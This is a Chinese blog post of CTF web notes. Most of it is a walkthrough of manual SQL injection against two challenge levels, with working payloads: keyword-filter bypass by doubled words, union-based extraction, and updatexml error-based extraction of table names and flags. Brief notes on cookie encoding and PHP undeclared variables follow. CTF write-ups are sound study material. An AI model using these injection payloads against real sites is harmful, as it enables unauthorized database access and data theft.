10月18, 2018

CTF-web 笔记 6

一道题中的常规手注思路

题目链接

题目环境屏蔽报错,根据参数id等于1时存在页面,等于0时页面不存在,思路如下:

?id=1' 不存在
?id=1'' 存在

说明存在单引号注入。

?id=1'%23

说明没过滤#注释符。

?id=-1 不存在
?id=-1'||'1'%23 存在
?id=-1'||'0'%23 不存在

运算符||可用。

?id=-1'||1%23 存在
?id=-1'||(1%23 不存在
?id=-1'||)1%23 不存在
?id=-1'||length1%23 不存在

函数length()可用。

?id=-1'||(1>0)%23 存在

没过滤>

?id=-1'||(length('')>0)%23 不存在
?id=-1'||(length('123')>0)%23 存在

故可使用length('关键词')>0来测试关键词是否被过滤。

经测试,union select and or都被过滤,可使用双写绕过过滤。

?id=-1' uunionnion sselectelect 1%23 不存在
?id=-1' uunionnion sselectelect 1,2%23 返回2

故在查询返回的第二个目标处存在回显。

payload1,获得数据库名:

?id=-1' uunionnion sselectelect 1,database()%23

payload2,获得表名:

?id=-1' uunionnion sselectelect 1,(sselectelect table_name from infoorrmation_schema.tables where table_schema='web1002-1' limit 1 offset 0)%23
?id=-1' uunionnion sselectelect 1,(sselectelect table_name from infoorrmation_schema.tables where table_schema='web1002-1' limit 1 offset 1)%23

注意information里有个or也要双写,卡了半天,坑啊。

payload3,获得字段名:

?id=-1' uunionnion sselectelect 1,(sselectelect column_name from infoorrmation_schema.columns where table_name='flag1' limit 1 offset 0)%23
?id=-1' uunionnion sselectelect 1,(sselectelect column_name from infoorrmation_schema.columns where table_name='flag1' limit 1 offset 1)%23

payload4,取得 flag1 与下一关地址:

?id=-1' uunionnion sselectelect 1,(sselectelect flag1 from flag1 limit 1 offset 0)%23
?id=-1' uunionnion sselectelect 1,(sselectelect address from flag1 limit 1 offset 0)%23

访问下一关的地址,尝试:

?id=1' 报错

故存在报错注入。

?id=1'%23 不报错

故注释符#可用。

?id=1' substr %23 没报错
?id=1' union %23 没报错

说明unionsubstr被过滤。

payload1,获得数据库名:

?id=1' or updatexml(1,(concat(0x7e,(select database() limit 1 offset 0),0x7e)),1)%23

payload2,获得表名:

?id=1' or updatexml(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='web1002-2' limit 1 offset 0),0x7e)),1)%23

payload3,获得字段名:

?id=1' or updatexml(1,(concat(0x7e,(select column_name from information_schema.columns where table_name='flag2' limit 1 offset 0),0x7e)),1)%23
?id=1' or updatexml(1,(concat(0x7e,(select column_name from information_schema.columns where table_name='flag2' limit 1 offset 1),0x7e)),1)%23

payload4,取得 flag2:

?id=1' or updatexml(1,(concat(0x7e,(select flag2 from flag2 limit 1 offset 0),0x7e)),1)%23

此时的 flag 已经可以正确提交了,但是这题好像还没有结束,后面貌似还有彩蛋,能力有限,到此为止。


cookie 值中特殊符号处理

当 cookie 的值中有等号、空格、分号等特殊字符时,可能会造成解析错误。

客户端在发送之前应该先进行 URL 编码来避免错误。


PHP 未声明变量的值

如下代码的输出结果是 yes:

<?php
    if(NULL===$None)
        echo "yes";
?>

其中变量$None未声明。

虽然报错,但是还会输出结果,说明$None的值为NULL,并且数据类型也一致。

当未声明的变量被引号包裹时:

<?php
    $a="$None";
    var_dump($a);//输出结果为 string(0) ""
?>

可看出$a为字符串类型,值为空。

故下面代码的输出结果也是 yes:

<?php
    if(""==="$None")
        echo "yes";
?>

本文链接:https://blog.cindemor.com/post/ctf-web-6.html

-- EOF --